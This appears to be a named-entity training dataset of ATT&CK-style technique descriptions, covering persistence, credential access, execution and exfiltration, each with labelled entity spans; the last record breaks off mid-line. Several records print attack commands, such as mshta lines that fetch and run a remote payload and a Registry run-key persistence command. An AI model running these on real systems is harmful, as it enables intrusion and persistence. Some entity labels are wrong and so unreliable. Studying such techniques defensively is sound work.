+{"text": "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation .", "spans": {"SYSTEM: Slack": [[218, 223], [826, 831]], "SYSTEM: Jira": [[259, 263]], "VULNERABILITY: privilege escalation": [[1009, 1029]]}, "info": {"source": "apt_reports", "name": "Chat Messages"}}
+{"text": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including Empire,  PowerSploit, PoshC2, and PSAttack.\n\nPowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).", "spans": {"TOOL: PowerShell": [[22, 32], [69, 79], [217, 227], [562, 572], [605, 615], [765, 775], [876, 886], [1012, 1022]], "TOOL: PoshC2": [[853, 859]], "TOOL: PowerSploit": [[840, 851]], "TOOL: Empire": [[831, 837]], "TOOL: powershell": [[961, 971]], "SYSTEM: Windows": [[171, 178], [1130, 1137]], "SYSTEM: .NET": [[1111, 1115]]}, "info": {"source": "apt_reports", "name": "PowerShell"}}
+{"text": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", "spans": {"TOOL: replace": [[424, 431]]}, "info": {"source": "apt_reports", "name": "Shortcut Modification"}}
+{"text": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.", "spans": {"SYSTEM: Windows": [[276, 283]]}, "info": {"source": "apt_reports", "name": "Change Default File Association"}}
+{"text": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {}, "info": {"source": "apt_reports", "name": "VDSO Hijacking"}}
+{"text": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.", "spans": {}, "info": {"source": "apt_reports", "name": "Multiband Communication"}}
+{"text": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "spans": {"SYSTEM: SMB": [[340, 343]]}, "info": {"source": "apt_reports", "name": "File Transfer Protocols"}}
+{"text": "Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include `.dll`, `.exe`, and `.lnk`.  \n\nAdversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice. \n\nExclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.", "spans": {}, "info": {"source": "apt_reports", "name": "Selective Exclusion"}}
+{"text": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.  Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.  An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", "spans": {"TOOL: replace": [[402, 409]], "SYSTEM: Windows": [[52, 59], [382, 389]]}, "info": {"source": "apt_reports", "name": "Component Object Model Hijacking"}}
+{"text": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. \n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP).  The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. \n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. \n\nOther accessibility features exist that may also be leveraged in a similar fashion: \n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>", "spans": {"FILEPATH: C:\\Windows\\System32\\sethc.exe": [[348, 377]], "FILEPATH: C:\\Windows\\System32\\utilman.exe": [[446, 477], [1404, 1435]], "FILEPATH: %systemdir%\\</code>,": [[979, 999]], "FILEPATH: C:\\Windows\\System32\\osk.exe": [[2363, 2390]], "FILEPATH: C:\\Windows\\System32\\Magnify.exe": [[2417, 2448]], "FILEPATH: C:\\Windows\\System32\\Narrator.exe": [[2474, 2506]], "FILEPATH: C:\\Windows\\System32\\DisplaySwitch.exe": [[2540, 2577]], "FILEPATH: C:\\Windows\\System32\\AtBroker.exe": [[2607, 2639]], "TOOL: RDP": [[2170, 2173]], "TOOL: Remote Desktop Protocol": [[1655, 1678]], "TOOL: cmd.exe": [[1466, 1473], [1903, 1910]], "TOOL: cmd": [[1466, 1469], [1903, 1906]], "SYSTEM: Windows Server 2008": [[1811, 1830]], "SYSTEM: Windows Server": [[1332, 1346], [1811, 1825]], "SYSTEM: Windows Server 2003": [[1332, 1351]], "SYSTEM: Windows": [[0, 7], [150, 157], [351, 358], [449, 456], [504, 511], [734, 741], [872, 879], [1028, 1035], [1296, 1303], [1332, 1339], [1407, 1414], [1776, 1783], [1811, 1818], [2366, 2373], [2420, 2427], [2477, 2484], [2543, 2550], [2610, 2617]], "SYSTEM: Windows Vista": [[1776, 1789]], "SYSTEM: Windows XP": [[1296, 1306]]}, "info": {"source": "apt_reports", "name": "Accessibility Features"}}
+{"text": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. \n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", "spans": {"SYSTEM: Kerberos": [[568, 576], [602, 610]]}, "info": {"source": "apt_reports", "name": "Exploitation for Credential Access"}}
+{"text": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the Launch Daemon configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.", "spans": {"FILEPATH: /sbin/emond</code>": [[287, 305]], "FILEPATH: /etc/emond.d/rules/</code>": [[341, 367]], "FILEPATH: /var/db/emondClients</code>,": [[781, 809]]}, "info": {"source": "apt_reports", "name": "Emond"}}
+{"text": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "spans": {"ORGANIZATION: Google": [[859, 865]]}, "info": {"source": "apt_reports", "name": "One-Way Communication"}}
+{"text": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).", "spans": {}, "info": {"source": "apt_reports", "name": "Gather Victim Network Information"}}
+{"text": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services. Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.", "spans": {"TOOL: RDP": [[1118, 1121]], "SYSTEM: ESXi": [[1434, 1438]], "SYSTEM: MySQL": [[1196, 1201]], "SYSTEM: SMB": [[1110, 1113]], "SYSTEM: VMware": [[1288, 1294]], "SYSTEM: vCenter": [[1295, 1302], [1388, 1395]]}, "info": {"source": "apt_reports", "name": "Exploitation of Remote Services"}}
+{"text": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be <code>explorer.exe</code> rather than an Office document delivered as part of Spearphishing Attachment. This spoofing could be executed via VBA Scripting within a malicious Office document or any code that can perform Native API.\n\nExplicitly assigning the PPID may also enable Privilege Escalation (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.", "spans": {"TOOL: PowerShell": [[937, 947]], "SYSTEM: Windows": [[445, 452]]}, "info": {"source": "apt_reports", "name": "Parent PID Spoofing"}}
+{"text": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.  The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault.  By default, the passphrase for the keychain is the user’s logon credentials.", "spans": {"SYSTEM: macOS": [[35, 40], [411, 416]], "SYSTEM: Kerberos": [[188, 196]]}, "info": {"source": "apt_reports", "name": "Keychain"}}
+{"text": "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation.\n\nFor example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.", "spans": {"SYSTEM: Microsoft Teams": [[928, 943]], "ORGANIZATION: Microsoft": [[928, 937]], "VULNERABILITY: spearphishing": [[107, 120], [227, 240], [719, 732]]}, "info": {"source": "apt_reports", "name": "Internal Spearphishing"}}
+{"text": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> . \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.", "spans": {"FILEPATH: /etc/sudoers</code>,": [[24, 44]]}, "info": {"source": "apt_reports", "name": "Sudo"}}
+{"text": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "spans": {"TOOL: replace": [[165, 172], [833, 840]], "SYSTEM: Windows": [[145, 152]]}, "info": {"source": "apt_reports", "name": "Services File Permissions Weakness"}}
+{"text": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> \n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user.\n\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.", "spans": {"FILEPATH: C:\\temp\\evil[.]dll": [[1244, 1262]], "FILEPATH: C:\\Users": [[1597, 1605]], "FILEPATH: C:\\ProgramData\\Microsoft\\Windows\\Start": [[1735, 1773]], "SYSTEM: Windows": [[427, 434], [490, 497], [569, 576], [653, 660], [733, 740], [861, 868], [952, 959], [1190, 1197], [1644, 1651], [1760, 1767], [1936, 1943], [2039, 2046], [2138, 2145], [2237, 2244], [2426, 2433], [2517, 2524], [2609, 2616], [2696, 2703], [2897, 2904], [2994, 3001], [3144, 3151], [3170, 3177], [3460, 3467]], "SYSTEM: Windows Vista": [[952, 965]], "ORGANIZATION: Microsoft": [[480, 489], [559, 568], [643, 652], [723, 732], [851, 860], [1180, 1189], [1634, 1643], [1750, 1759], [1926, 1935], [2029, 2038], [2128, 2137], [2227, 2236], [2416, 2425], [2507, 2516], [2599, 2608], [2686, 2695], [2887, 2896], [2984, 2993], [3134, 3143]]}, "info": {"source": "apt_reports", "name": "Registry Run Keys / Startup Folder"}}
+{"text": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.", "spans": {"SYSTEM: Office 365": [[914, 924]], "ORGANIZATION: Microsoft": [[963, 972]]}, "info": {"source": "apt_reports", "name": "Trusted Relationship"}}
+{"text": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\n\nIn addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment. In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for Temporary Elevated Cloud Access. While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding Additional Cloud Credentials or assigning Additional Cloud Roles.", "spans": {"SYSTEM: GCP": [[706, 709]], "SYSTEM: AWS": [[858, 861]], "SYSTEM: Azure": [[420, 425]]}, "info": {"source": "apt_reports", "name": "Cloud Account"}}
+{"text": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as <code>net localgroup</code> of the Net utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.", "spans": {"SYSTEM: macOS": [[476, 481]], "SYSTEM: Linux": [[510, 515]]}, "info": {"source": "apt_reports", "name": "Local Groups"}}
+{"text": "**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  . The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different  . By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", "spans": {}, "info": {"source": "apt_reports", "name": "LC_MAIN Hijacking"}}
+{"text": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).", "spans": {}, "info": {"source": "apt_reports", "name": "Search Open Websites/Domains"}}
+{"text": "Adversaries may disable network device-based firewall mechanisms entirely or add, delete, or modify particular rules in order to bypass controls limiting network usage. \n \nModifying or disabling a network firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions.\n\nAdversaries may gain access to the firewall management console via Valid Accounts or by exploiting a vulnerability. In some cases, threat actors may target firewalls that have been exposed to the internet Exploit Public-Facing Application.", "spans": {}, "info": {"source": "apt_reports", "name": "Disable or Modify Network Device Firewall"}}
+{"text": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.", "spans": {"VULNERABILITY: privilege escalation": [[653, 673]]}, "info": {"source": "apt_reports", "name": "Account Manipulation"}}
+{"text": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>.  HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. \n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code      \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.", "spans": {"TOOL: mshta": [[283, 288], [466, 471], [560, 565], [602, 607], [751, 756], [914, 919]], "SYSTEM: Windows": [[381, 388]], "SYSTEM: Internet Explorer": [[214, 231], [948, 965]], "ORGANIZATION: Microsoft": [[37, 46]]}, "info": {"source": "apt_reports", "name": "Mshta"}}
+{"text": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.  \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\nExfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP. On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.", "spans": {"TOOL: curl": [[603, 607]], "SYSTEM: macOS": [[581, 586]], "SYSTEM: GitHub": [[786, 792]], "SYSTEM: SMB": [[283, 286], [566, 569]], "SYSTEM: SharePoint": [[774, 784]], "SYSTEM: Microsoft Exchange": [[744, 762]], "SYSTEM: AWS": [[798, 801]], "SYSTEM: Linux": [[591, 596]], "SYSTEM: Microsoft SharePoint": [[764, 784]], "ORGANIZATION: Microsoft": [[744, 753], [764, 773]]}, "info": {"source": 